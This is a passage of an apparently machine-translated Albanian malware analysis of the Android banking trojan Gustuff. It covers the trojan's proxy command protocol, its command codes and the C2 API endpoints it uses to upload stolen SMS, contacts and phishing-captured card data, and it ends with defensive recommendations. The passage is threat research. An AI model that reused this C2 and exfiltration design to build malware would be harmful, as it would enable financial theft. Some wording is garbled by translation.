5. Kalon në modalitetin e pritjes së komandave nga serveri. Komandat nga serveri vijnë në formatin:

  • 0 offset - komanda
  • 1 kompensim - sesionId
  • 2 kompensim - gjatësia
  • 4 kompensim - të dhëna

Kur vjen një komandë, aplikacioni regjistrohet:
mainLog("Header { sessionId<%id%>], type[<%command%>], gjatësi[<%length%>] }")

Komandat e mëposhtme nga serveri janë të mundshme:

Emër Komandë Data Përshkrim
lidhje ID 0 ID-ja e lidhjes Krijo një lidhje të re
FJENI 3 kohë Ndalo modulin Proxy
PING_PONG 4 - Dërgo mesazh PONG

Një mesazh PONG përbëhet nga 4 bajt dhe duket kështu: 0x04000000.

Kur të merret komanda ConnectionId (për të krijuar një lidhje të re) CommandConnection krijon një shembull të një klase ProxyConnection.

  • Dy klasa marrin pjesë në proxying: ProxyConnection и fund. Kur krijoni një klasë ProxyConnection duke u lidhur me adresën ProxyConfigClass.host: ProxyConfigClass.proxyPort dhe duke kaluar objektin JSON:

 {
    "id":<%connectionId%>
}

Si përgjigje, serveri dërgon një mesazh SOCKS5 që përmban adresën e serverit të largët me të cilin duhet të krijohet lidhja. Ndërveprimi me këtë server ndodh përmes klasës fund. Konfigurimi i lidhjes mund të paraqitet skematikisht si më poshtë:

Si Android Trojan Gustuff fshin kremin (fiat dhe crypto) nga llogaritë tuaja

Ndërveprimet në rrjet

Për të parandaluar analizën e trafikut nga sniferët e rrjetit, ndërveprimi ndërmjet serverit CnC dhe aplikacionit mund të mbrohet duke përdorur protokollin SSL. Të gjitha të dhënat e transmetuara nga dhe në server paraqiten në formatin JSON. Aplikacioni ekzekuton kërkesat e mëposhtme gjatë funksionimit:

  • http://<%CnC%>/api/v1/set_state.php - rezultati i ekzekutimit të komandës.
  • http://<%CnC%>/api/v1/get.php - marrja e një komande.
  • http://<%CnC%>/api/v1/load_sms.php — shkarkimi i mesazheve SMS nga një pajisje e infektuar.
  • http://<%CnC%>/api/v1/load_ab.php — ngarkimi i një liste kontaktesh nga një pajisje e infektuar.
  • http://<%CnC%>/api/v1/aevents.php – kërkesa bëhet kur përditësohen parametrat e vendosur në skedarin e preferencës.
  • http://<%CnC%>/api/v1/set_card.php — ngarkimi i të dhënave të marra duke përdorur një dritare phishing të maskuar si Tregu i Google Play.
  • http://<%CnC%>/api/v1/logs.php – ngarkimi i të dhënave të regjistrit.
  • http://<%CnC%>/api/v1/records.php – ngarkimi i të dhënave të marra përmes dritareve të phishing.
  • http://<%CnC%>/api/v1/set_error.php – njoftimi për një gabim që ka ndodhur.

Rekomandime

Për të mbrojtur klientët e tyre nga kërcënimi i trojanëve celularë, kompanitë duhet të përdorin zgjidhje gjithëpërfshirëse që u lejojnë atyre të monitorojnë dhe parandalojnë aktivitetin keqdashës pa instaluar softuer shtesë në pajisjet e përdoruesit.

Për ta bërë këtë, metodat e nënshkrimit për zbulimin e trojanëve celularë duhet të forcohen me teknologji për të analizuar sjelljen e klientit dhe vetë aplikacionit. Mbrojtja duhet të përfshijë gjithashtu një funksion identifikimi të pajisjes duke përdorur teknologjinë dixhitale të gjurmëve të gishtërinjve, e cila do të bëjë të mundur të kuptohet kur një llogari po përdoret nga një pajisje atipike dhe ka rënë tashmë në duart e një mashtruesi.

Një pikë thelbësisht e rëndësishme është disponueshmëria e analizës ndër-kanale, e cila u lejon kompanive të kontrollojnë rreziqet që lindin jo vetëm në internet, por edhe në kanalin celular, për shembull, në aplikacionet për banking celular, për transaksionet me kriptomonedha dhe çdo tjetër ku mund të kryhen transaksione.transaksion financiar.

Rregullat e sigurisë për përdoruesit:

  • mos instaloni aplikacione për një pajisje celulare me OS Android nga asnjë burim tjetër përveç Google Play, kushtojini vëmendje të veçantë të drejtave të kërkuara nga aplikacioni;
  • instaloni rregullisht përditësimet e sistemit operativ Android;
  • kushtojini vëmendje shtesave të skedarëve të shkarkuar;
  • mos vizitoni burime të dyshimta;
  • Mos klikoni në lidhjet e marra në mesazhet SMS.

Me protagonist Semyon Rogaçeva, specialist i ri në kërkimin e malware në Laboratorin e Forenzikës Kompjuterike Group-IB.

Burimi: www.habr.com

Shto një koment